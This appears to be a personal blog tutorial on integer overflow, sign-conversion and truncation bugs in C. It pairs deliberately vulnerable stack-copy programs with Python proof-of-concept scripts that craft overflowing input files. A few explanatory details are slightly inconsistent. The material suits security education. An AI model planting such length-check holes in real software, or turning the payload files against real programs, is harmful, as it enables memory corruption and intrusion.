[Learning] Integer-Based Vulnerabilities

First Post:

Last Update:

Word Count:
2.5k

Read Time:
15 min

Introduction

This article is part of my series: From Bug To Exploit.

In this article, I will introduce integer-based vulnerabilities and explain how they can lead to binary exploitation.

Integer-Based Vulnerabilities

This category generally refers to vulnerabilities caused by improper handling of integer values.

In some scenarios, people may refer to all these vulnerabilities as “Integer Overflow.” However, this terminology is not entirely accurate. Some of these vulnerabilities are caused by integer overflow, while others result from different issues, such as improper type conversion or integer truncation.

Integer Overflow

In computer systems, integer values are stored using a fixed amount of memory. The same applies to variables in higher-level programming languages such as C: each integer data type has a fixed size and can only represent values within a specific range.

If you have learned C, you have probably seen the table below, even if you cannot remember all the values:

Type Name Bytes Range of Values
int 4 -2,147,483,648 to 2,147,483,647
unsigned int 4 0 to 4,294,967,295
char 1 -128 to 127 (if signed)
unsigned char 1 0 to 255
short 2 -32,768 to 32,767

Note: You may wonder why the smallest value of a signed integer type has an absolute value that is one greater than its maximum value. This is because modern systems commonly use two’s complement to represent signed integers.

The sizes and ranges shown above are common on modern platforms, but they are not guaranteed to be the same on every system.

Integer overflow occurs when an arithmetic operation produces a result that cannot be represented by the destination integer type. The behavior depends on whether the type is signed or unsigned. In C, unsigned integer arithmetic wraps around modulo the range of the type, while signed integer overflow results in undefined behavior.

For example, consider the following program:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// overflow

#include <stdio.h>
#include <stdlib.h>

int main()
{
char a = 127;
char b = 1;

char c = a + b;

printf("a + b = %d\n", c);

return 0;
}

For example, consider an 8-bit signed integer. Its maximum value is 127. If we add 1 to it, the result is 128, which cannot be represented by an 8-bit signed integer. On common two’s complement implementations, converting this value back to char results in -128.

This is the essential concept of unsigned integer wraparound.

Vulnerabilities

So far, you should have a basic understanding of integer overflow. However, some vulnerabilities are caused by integer type conversions or truncation rather than integer overflow itself. Despite this, people sometimes use the term “Integer Overflow” to describe all of them.

In this section, I am going to demonstrate three common types of integer-based vulnerabilities.

Wrap Around

The example below is a proof of concept demonstrating how an application might process a packet:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// vuln_wrap.c
// Integer overflow

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vulnerable_function(unsigned char *pkt, unsigned int pkt_len)
{
char stack_buffer[256];
if (pkt_len < 8)
{
printf("[-] Packet too short.\n");
return;
}

unsigned int a = *(unsigned int *)(pkt);
unsigned int b = *(unsigned int *)(pkt + 4);
unsigned char *payload = pkt + 8;
unsigned int payload_avail = pkt_len - 8;

unsigned int copy_len = a + b;

if (copy_len > sizeof(stack_buffer))
{
printf("[-] Too large for stack buffer!\n");
return;
}

printf("[*] copy_len (wrapped) = %u, copying %u bytes...\n", copy_len, payload_avail);
memcpy(stack_buffer, payload, payload_avail);
}

int main()
{
FILE *f = fopen("exploit.txt", "rb");
if (!f)
{
// read nothing
return 1;
}

fseek(f, 0, SEEK_END);
long sz = ftell(f);
rewind(f);

if (sz <= 0)
{
fclose(f);
return 1;
}

unsigned char *buf = (unsigned char *)malloc((size_t)sz);
fread(buf, 1, (size_t)sz, f);
fclose(f);

vulnerable_function(buf, (unsigned int)sz);
free(buf);

return 0;
}

The problem lies in the following code:

1
2
3
4
5
6
unsigned int a = *(unsigned int *)(pkt);
unsigned int b = *(unsigned int *)(pkt + 4);
unsigned char *payload = pkt + 8;
unsigned int payload_avail = pkt_len - 8;

unsigned int copy_len = a + b;

Since the application processes external data, an attacker can craft a malicious packet containing specific values for a and b. By making their sum exceed the maximum value of an unsigned integer, the result wraps around.

Consequently, the value of copy_len becomes much smaller than the actual sum and may pass the buffer size check.

However, there is another problem: the application uses payload_avail as the length argument in memcpy(), rather than using the validated copy_len. Since payload_avail is calculated from the packet length, it can still be larger than the size of stack_buffer.

This allows an attacker to bypass the length check and trigger a stack-based buffer overflow.

The PoC script is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# exploit_wrap.py

import struct
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--dos', action='store_true')
parser.add_argument('--deadbeef', action='store_true')
args = parser.parse_args()

def make_dos() -> bytes:
return b'A' * 300

def make_deadbeef() -> bytes:
return b'A' * 280 + struct.pack('<I', 0xDEADBEEF)

def main():
header_len = 0xFFFFFFF0
body_len = 0x00000020

payload = None
if args.dos:
payload = make_dos()
elif args.deadbeef:
payload = make_deadbeef()
else:
parser.print_help()
return

with open('exploit.txt', 'wb') as f:
f.write(struct.pack('<II', header_len, body_len) + payload)

print('[+] File has been successfully generated')

if __name__ == '__main__':
main()

In this example, header_len is 0xFFFFFFF0, while body_len is 0x20. Their sum exceeds the maximum value of a 32-bit unsigned integer, so the result wraps around to 0x10 (16).

As a result, the length check passes because 16 is smaller than the 256-byte stack buffer. However, the application still copies the entire available payload, which is larger than the buffer.

Sign Conversion

A sign conversion vulnerability occurs when a signed integer is converted into an unsigned integer, potentially resulting in an unexpectedly large value.

Let’s take a look at the example below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
// vuln_sign_conv.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <inttypes.h>

void vulnerable_function(unsigned char *pkt, size_t pkt_len)
{
char stack_buffer[256];

if (pkt_len <= 4)
{
printf("[-] Packet too short.\n");
return;
}

int len = *(int *)(pkt);
unsigned char *payload = pkt + 4;
size_t payload_avail = pkt_len - 4;

if (len > (int)sizeof(stack_buffer))
{
printf("[-] Too large for stack buffer! (len = %d)\n", len);
return;
}

size_t wrapped_len = (size_t)len;
printf("[*] signed len = %d, wrapped size_t = %" PRIuMAX ", payload_avail = %" PRIuMAX "\n", len, (uintmax_t)wrapped_len, (uintmax_t)payload_avail);

memcpy(stack_buffer, payload, payload_avail);
}

int main(void)
{
FILE *f = fopen("exploit.txt", "rb");
if (!f)
{
printf("[-] Cannot open exploit.txt\n");
return 1;
}

if (fseek(f, 0, SEEK_END) != 0)
{
fclose(f);
return 1;
}

long sz = ftell(f);
rewind(f);

if (sz <= 0)
{
printf("[-] Empty or invalid file.\n");
fclose(f);

return 1;
}

unsigned char *buf = (unsigned char *)malloc((size_t)sz);
if (!buf)
{
printf("[-] Memory allocation failed.\n");
fclose(f);

return 1;
}

size_t read_bytes = fread(buf, 1, (size_t)sz, f);
fclose(f);

vulnerable_function(buf, read_bytes);

free(buf);

return 0;
}

Here, the problem is related to the following code:

1
2
3
4
5
int len = *(int *)(pkt);

// something...

size_t wrapped_len = (size_t)len;

The data type int is signed, while size_t is an unsigned integer type.

If the value of len is -1 (0xFFFFFFFF on a typical 32-bit int implementation), converting it to size_t produces the maximum value representable by size_t.

For example, on a 64-bit platform, the resulting value is 18446744073709551615 (0xFFFFFFFFFFFFFFFF). This happens because the conversion to an unsigned integer type is performed modulo one more than the maximum value of that type. It is not simply a matter of sign extension.

This kind of conversion can become dangerous when the converted value is used as a length argument. For example, if the application uses wrapped_len as the length argument of memcpy(), an unexpectedly large value could cause an out-of-bounds memory access and potentially lead to a buffer overflow.

The PoC script is implemented below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# exploit_sign_conv.py

import struct

def main():
signed_len = -1
payload = b"A" * 300

with open("exploit.txt", "wb") as f:
f.write(struct.pack("<i", signed_len) + payload)

print("[+] File has been successfully generated for vuln_sign_conv")


if __name__ == "__main__":
main()

Note that the current C PoC calculates wrapped_len but does not actually use it in the memcpy() call. Instead, it copies payload_avail bytes. Therefore, the current implementation demonstrates the signed-to-unsigned conversion, but the buffer overflow itself is caused by copying payload_avail without checking whether it fits into stack_buffer.

Truncation

This one is interesting. It is somewhat related to EternalBlue.

Developers may sometimes use different integer data types when processing data. If a value is converted into a smaller integer type, some of its most significant bits may be discarded. This is known as integer truncation.

Let’s take a look at the code below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
// vuln_trunc.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <inttypes.h>

void vulnerable_function(unsigned char *pkt, size_t pkt_len)
{
char stack_buffer[256];

if (pkt_len <= 4)
{
printf("[-] Packet too short.\n");
return;
}

uint32_t raw_len = *(uint32_t *)(pkt);
unsigned char *payload = pkt + 4;
size_t payload_avail = pkt_len - 4;

if (raw_len > 1024)
{
printf("[-] raw_len too large: %u\n", raw_len);
return;
}

uint8_t trunc_len = (uint8_t)raw_len;
uint8_t wrapped8 = (uint8_t)(trunc_len - 10);
size_t copy_len = sizeof(stack_buffer) + (size_t)wrapped8;

printf("[*] raw_len = %u, trunc_len(uint8_t) = %u, wrapped8(uint8_t) = %u, copy_len = %" PRIuMAX ", payload_avail = %" PRIuMAX "\n",
raw_len, (unsigned int)trunc_len, (unsigned int)wrapped8,
(uintmax_t)copy_len, (uintmax_t)payload_avail);

if (payload_avail < copy_len)
{
printf("[-] Payload shorter than copy_len (%u < %" PRIuMAX ").\n",
(unsigned int)payload_avail, (uintmax_t)copy_len);
return;
}

memcpy(stack_buffer, payload, copy_len);
}

int main(void)
{
FILE *f = fopen("exploit.txt", "rb");
if (!f)
{
printf("[-] Cannot open exploit.txt\n");
return 1;
}

if (fseek(f, 0, SEEK_END) != 0)
{
fclose(f);
return 1;
}

long sz = ftell(f);
rewind(f);

if (sz <= 0)
{
printf("[-] Empty or invalid file.\n");
fclose(f);

return 1;
}

unsigned char *buf = (unsigned char *)malloc((size_t)sz);
if (!buf)
{
printf("[-] Memory allocation failed.\n");
fclose(f);

return 1;
}

size_t read_bytes = fread(buf, 1, (size_t)sz, f);
fclose(f);

vulnerable_function(buf, read_bytes);

free(buf);

return 0;
}

The essential part is shown below:

1
2
3
4
5
6
7
8
9
10
11
uint32_t raw_len = *(uint32_t *)(pkt);

if (raw_len > 1024)
{
printf("[-] raw_len too large: %u\n", raw_len);
return;
}

uint8_t trunc_len = (uint8_t)raw_len;
uint8_t wrapped8 = (uint8_t)(trunc_len - 10);
size_t copy_len = sizeof(stack_buffer) + (size_t)wrapped8;

The value of raw_len is a 32-bit unsigned integer. The program only checks whether it is greater than 1024.

Then, the program converts it into uint8_t, which is an 8-bit unsigned integer. This discards the upper 24 bits. Consequently, the resulting value is equivalent to raw_len % 256, giving us a value between 0 and 255.

For example, if the input is raw_len = 265, the conversion produces trunc_len = 9.

The next operation subtracts 10 from trunc_len. Since trunc_len is promoted to int before the subtraction, the result is -1. When this result is converted back to uint8_t, it wraps around to 255.

Finally, the program calculates copy_len by adding sizeof(stack_buffer) to wrapped8. Since the buffer is 256 bytes, the resulting copy length becomes 511.

An attacker can therefore craft a packet with a sufficiently large payload to make the application copy 511 bytes into a 256-byte buffer, resulting in a stack-based buffer overflow.

The important point here is that truncation and unsigned wraparound work together in this example. The original value is truncated to a smaller integer type, and the subsequent arithmetic operation wraps around.

The PoC script is implemented below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# exploit_trunc.py

import struct
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--dos', action='store_true')
parser.add_argument('--deadbeef', action='store_true')
args = parser.parse_args()

def make_dos() -> bytes:
return b'A' * 1024

def make_deadbeef() -> bytes:
return b'A' * 304 + struct.pack('<I', 0xDEADBEEF) + b'A' * 600

def main():
raw_len = 256

payload = None
if args.dos:
payload = make_dos()
elif args.deadbeef:
payload = make_deadbeef()
else:
parser.print_help()
return

with open("exploit.txt", "wb") as f:
f.write(struct.pack("<I", raw_len) + payload)

print(f"[+] Generated exploit.txt (raw_len={raw_len}, payload_len={len(payload)})")


if __name__ == "__main__":
main()

Conclusion

Integer-based vulnerabilities might look simple, but they can cause some pretty serious problems if developers aren’t careful with integer operations and type conversions.

As we have seen in this article, integer overflow, signed-to-unsigned conversion, and truncation call all lead to unexpected results when an application handles memory sizes or processes external data.

But one thing worth pointing out is that an integer-related issue does NOT directly cause a buffer overflow. Whether it is a stack-based buffer overflow or a heap-based buffer overflow, the real problem is usually what happens afterward. Improper integer handling can lead to incorrect calculations or validation checks, which may eventually result in an out-of-bounds memory access and, potentially, a buffer overflow.

Things can get especially dangerous when these values are used in memory operations like memcpy(). A small mistake in calculating the length or using data types can eventually lead to out-of-bounds memory access or even a buffer overflow.

I also find the connection between integer-based truncation and EternalBlue quite interesting. Of course, EternalBlue is much moer complicated than the example I showed here! I might need to study some other typics before I can fully understand it. Hopefully I will have a chance to dig into it in a future article!

THANKS FOR READING!

I still can’t believe I managed to draw my OC this cute just a month ago, after only a few months of learning. I spent almost a week tweaking the drawing, too.

Lately, though, I feel like I have lost my touch after struggling with some frustrating stuff (and also some good newsssssss).

I guess I just need more practice. Gotta keep grinding for my girl!

Anyway, I am going to show you my girl that I drew before! (She is my wallpaper now!)